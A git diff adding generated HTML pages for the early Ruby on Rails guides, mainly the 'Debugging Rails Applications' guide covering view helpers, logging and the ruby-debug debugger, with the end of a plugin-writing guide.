+<div class="para"><p>If you are an RSpec fan, you can install the <tt>rspec_plugin_generator</tt> gem, which will generate the spec folder and database for you. See <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">http://github.com/pat-maddox/rspec-plugin-generator/tree/master</a>.</p></div>
+</div>
+<h2 id="_appendix">9. Appendix</h2>
+<div class="sectionbody">
+<h3 id="_references">9.1. References</h3>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i">http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii">http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/technoweenie/attachment_fu/tree/master">http://github.com/technoweenie/attachment_fu/tree/master</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html">http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_final_plugin_directory_structure">9.2. Final plugin directory structure</h3>
+<div class="para"><p>The final plugin should have a directory structure that looks something like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt> |-- MIT-LICENSE
+ |-- README
+ |-- Rakefile
+ |-- generators
+ | `-- yaffle
+ | |-- USAGE
+ | |-- templates
+ | | `-- definition.txt
+ | `-- yaffle_generator.rb
+ |-- init.rb
+ |-- install.rb
+ |-- lib
+ | |-- acts_as_yaffle.rb
+ | |-- commands.rb
+ | |-- core_ext.rb
+ | |-- routing.rb
+ | `-- view_helpers.rb
+ |-- tasks
+ | `-- yaffle_tasks.rake
+ |-- test
+ | |-- acts_as_yaffle_test.rb
+ | |-- core_ext_test.rb
+ | |-- database.yml
+ | |-- debug.log
+ | |-- routing_test.rb
+ | |-- schema.rb
+ | |-- test_helper.rb
+ | `-- view_helpers_test.rb
+ |-- uninstall.rb
+ `-- yaffle_plugin.sqlite3.db</tt></pre>
+</div></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/debugging_rails_applications.html b/railties/doc/guides/html/debugging_rails_applications.html new file mode 100644 index 0000000000..f29d8860d2 --- /dev/null +++ b/railties/doc/guides/html/debugging_rails_applications.html @@ -0,0 +1,1051 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Debugging Rails Applications</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_view_helpers_for_debugging">View Helpers for Debugging</a> + <ul> + + <li><a href="#_debug">debug</a></li> + + <li><a href="#_to_yaml">to_yaml</a></li> + + <li><a href="#_inspect">inspect</a></li> + + </ul> + </li> + <li> + <a href="#_the_logger">The Logger</a> + <ul> + + <li><a href="#_what_is_the_logger">What is The Logger?</a></li> + + <li><a href="#_log_levels">Log Levels</a></li> + + <li><a href="#_sending_messages">Sending Messages</a></li> + + </ul> + </li> + <li> + <a href="#_debugging_with_ruby_debug">Debugging with ruby-debug</a> + <ul> + + <li><a href="#_setup">Setup</a></li> + + <li><a href="#_the_shell">The Shell</a></li> + + <li><a href="#_the_context">The Context</a></li> + + <li><a href="#_threads">Threads</a></li> + + <li><a href="#_inspecting_variables">Inspecting Variables</a></li> + + <li><a href="#_step_by_step">Step by Step</a></li> + + <li><a href="#_breakpoints">Breakpoints</a></li> + + <li><a href="#_catching_exceptions">Catching Exceptions</a></li> + + <li><a href="#_resuming_execution">Resuming Execution</a></li> + + <li><a href="#_editing">Editing</a></li> + + <li><a href="#_quitting">Quitting</a></li> + + <li><a href="#_settings">Settings</a></li> + + </ul> + </li> + <li> + <a href="#_references">References</a> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Debugging Rails Applications</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the purpose of debugging
+</p>
+</li>
+<li>
+<p>
+Track down problems and issues in your application that your tests aren't identifying
+</p>
+</li>
+<li>
+<p>
+Learn the different ways of debugging
+</p>
+</li>
+<li>
+<p>
+Analyze the stack trace
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_view_helpers_for_debugging">1. View Helpers for Debugging</h2>
+<div class="sectionbody">
+<div class="para"><p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>debug</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>to_yaml</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>inspect</tt>
+</p>
+</li>
+</ul></div>
+<h3 id="_debug">1.1. debug</h3>
+<div class="para"><p>The <tt>debug</tt> helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= debug @post %>
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><b></span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF"></b></span></span>
+ <%=h @post.title %>
+<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll see something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>--- !ruby/object:Post
+attributes:
+ updated_at: 2008-09-05 22:55:47
+ body: It's a very helpful guide for debugging your Rails app.
+ title: Rails debugging guide
+ published: t
+ id: "1"
+ created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+</tt></pre></div></div>
+<h3 id="_to_yaml">1.2. to_yaml</h3>
+<div class="para"><p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= simple_format @post.to_yaml %>
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><b></span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF"></b></span></span>
+ <%=h @post.title %>
+<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>to_yaml</tt> method converts the method to YAML format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p></div>
+<div class="para"><p>As a result of this, you will have something like this in your view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+</tt></pre></div></div>
+<h3 id="_inspect">1.3. inspect</h3>
+<div class="para"><p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= [1, 2, 3, 4, 5].inspect %>
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><b></span></span>Title:<span style="font-weight: bold"><span style="color: #0000FF"></b></span></span>
+ <%=h @post.title %>
+<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>Will be rendered as follows:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+</tt></pre></div></div>
+</div>
+<h2 id="_the_logger">2. The Logger</h2>
+<div class="sectionbody">
+<div class="para"><p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p></div>
+<h3 id="_what_is_the_logger">2.1. What is The Logger?</h3>
+<div class="para"><p>Rails makes use of Ruby's standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p></div>
+<div class="para"><p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>STDOUT<span style="color: #990000">)</span>
+config<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Log4r<span style="color: #990000">::</span>Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"Application Log"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">By default, each log is created under <tt>RAILS_ROOT/log/</tt> and the log file name is <tt>environment_name.log</tt>.</td>
+</tr></table>
+</div>
+<h3 id="_log_levels">2.2. Log Levels</h3>
+<div class="para"><p>When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
+<div class="para"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>log_level <span style="color: #990000">=</span> Logger<span style="color: #990000">::</span>WARN <span style="font-style: italic"><span style="color: #9A1900"># In any environment initializer, or</span></span>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The default Rails log level is <tt>info</tt> in production mode and <tt>debug</tt> in development and test mode.</td>
+</tr></table>
+</div>
+<h3 id="_sending_messages">2.3. Sending Messages</h3>
+<div class="para"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Person attributes hash: #{@person.attributes.inspect}"</span>
+logger<span style="color: #990000">.</span>info <span style="color: #FF0000">"Processing the request..."</span>
+logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span>
+</tt></pre></div></div>
+<div class="para"><p>Here's an example of a method instrumented with extra logging:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000"><</span> ApplicationController
+ <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+ <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
+ logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"New post: #{@post.attributes.inspect}"</span>
+ logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Post should be valid: #{@post.valid?}"</span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
+ flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
+ logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"The post was saved and now is the user is going to be redirected..."</span>
+ redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ render <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"new"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Here's an example of the log generated by this method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Processing PostsController#create (for <span style="color: #009900">127.0.0.1</span> at 2008-09-08 11:52:54) [POST]
+ Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+</tt></pre></div></div>
+<div class="para"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
+</div>
+<h2 id="_debugging_with_ruby_debug">3. Debugging with ruby-debug</h2>
+<div class="sectionbody">
+<div class="para"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
+<div class="para"><p>The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
+<h3 id="_setup">3.1. Setup</h3>
+<div class="para"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ sudo gem install ruby-debug
+</tt></pre></div></div>
+<div class="para"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project's page on rubyforge</a>.</p></div>
+<div class="para"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
+<div class="para"><p>Here's an example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PeopleController <span style="color: #990000"><</span> ApplicationController
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+ debugger
+ <span style="color: #009900">@person</span> <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you see the message in the console or logs:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>***** Debugger requested, but was not available: Start server with --debugger to enable *****
+</tt></pre></div></div>
+<div class="para"><p>Make sure you have started your web server with the option <tt>—debugger</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">~</span>/PathTo/rails_project$ script/server --debugger
+<span style="color: #990000">=></span> Booting Mongrel <span style="color: #990000">(</span>use <span style="color: #FF0000">'script/server webrick'</span> to force WEBrick<span style="color: #990000">)</span>
+<span style="color: #990000">=></span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application starting on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
+<span style="color: #990000">=></span> Debugger enabled
+<span style="color: #990000">...</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">In development mode, you can dynamically <tt>require 'ruby-debug'</tt> instead of restarting the server, if it was started without <tt>—debugger</tt>.</td>
+</tr></table>
+</div>
+<div class="para"><p>In order to use Rails debugging you'll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
+<h3 id="_the_shell">3.2. The Shell</h3>
+<div class="para"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
+<div class="para"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
+<div class="para"><p>For example:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@posts = Post.find(:all)
+(rdb:7)</tt></pre>
+</div></div>
+<div class="para"><p>Now it's time to play and dig into your application. A good place to start is by asking the debugger for help… so type: <tt>help</tt> (You didn't see that coming, right?)</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace delete enable help next quit show trace
+break disable eval info p reload source undisplay
+catch display exit irb pp restart step up
+condition down finish list ps save thread var
+continue edit frame method putl set tmate where</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">To view the help menu for any command use <tt>help <command-name></tt> in active debug mode. For example: <em><tt>help var</tt></em></td>
+</tr></table>
+</div>
+<div class="para"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
+<div class="para"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>⇒</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.xml
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.find(:all)
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.xml { render :xml => @posts }</tt></pre>
+</div></div>
+<div class="para"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+ 11 end
+ 12 end
+ 13
+ 14 # GET /posts/1
+ 15 # GET /posts/1.xml
+ 16 def show
+ 17 @post = Post.find(params[:id])
+ 18
+ 19 respond_to do |format|
+ 20 format.html # show.html.erb</tt></pre>
+</div></div>
+<div class="para"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
+<h3 id="_the_context">3.3. The Context</h3>
+<div class="para"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
+<div class="para"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
+<div class="para"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) where
+ #0 PostsController.index
+ at line /PathTo/project/app/controllers/posts_controller.rb:6
+ #1 Kernel.send
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...</tt></pre>
+</div></div>
+<div class="para"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175</tt></pre>
+</div></div>
+<div class="para"><p>The available variables are the same as if you were running the code line by line. After all, that's what debugging is.</p></div>
+<div class="para"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
+<h3 id="_threads">3.4. Threads</h3>
+<div class="para"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>thread</tt> shows the current thread.
+</p>
+</li>
+<li>
+<p>
+<tt>thread list</tt> is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+</p>
+</li>
+<li>
+<p>
+<tt>thread stop <em>n</em></tt> stop thread <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>thread resume <em>n</em></tt> resumes thread <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>thread switch <em>n</em></tt> switches the current thread context to <em>n</em>.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
+<h3 id="_inspecting_variables">3.5. Inspecting Variables</h3>
+<div class="para"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
+<div class="para"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>@posts = Post.find(:all)
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]</tt></pre>
+</div></div>
